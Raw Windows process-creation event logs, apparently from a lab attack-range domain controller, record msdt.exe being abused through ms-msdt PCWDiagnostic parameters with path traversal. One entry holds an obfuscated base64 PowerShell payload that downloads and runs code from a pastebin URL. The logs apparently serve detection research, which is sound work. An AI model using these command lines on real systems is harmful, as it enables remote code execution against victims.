4688201331200x80200000000000001621227Securitywin-dc-mhaag-attack-range-622.attackrange.localATTACKRANGE\AdministratoradministratorATTACKRANGE0x1cfe160x270C:\Windows\System32\msdt.exe%%19360x1f24"C:\Windows\system32\msdt.exe" ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(iex($(iex('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'aWV4KCdpZXgoezB9IHBhc3RlYmluezF9Y29tezJ9cmF3ezJ9ZkdnQnk2SEcpJy1mJ2lybScsJy4nLCcvJyk='+[char]34+'))'))))i../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO"NULL SID--0x0C:\Windows\System32\cmd.exeMandatory Label\High Mandatory Level 4688201331200x80200000000000001621214Securitywin-dc-mhaag-attack-range-622.attackrange.localATTACKRANGE\AdministratoradministratorATTACKRANGE0x1cfe160x18a0C:\Windows\System32\msdt.exe%%19360x1784C:\Windows\system32\msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=hi../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO"NULL SID--0x0C:\Windows\System32\cmd.exeMandatory Label\High Mandatory Level 4688201331200x80200000000000001621213Securitywin-dc-mhaag-attack-range-622.attackrange.localATTACKRANGE\AdministratoradministratorATTACKRANGE0x1cfe160x1784C:\Windows\System32\cmd.exe%%19360xf08"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=hi../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO"NULL SID--0x0C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMandatory Label\High Mandatory Level 4688201331200x80200000000000001621017Securitywin-dc-mhaag-attack-range-622.attackrange.localATTACKRANGE\AdministratoradministratorATTACKRANGE0x1cfe160x15f0C:\Windows\System32\msdt.exe%%19360xf08"C:\Windows\system32\msdt.exe" /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../.exe"NULL SID--0x0C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMandatory Label\High Mandatory Level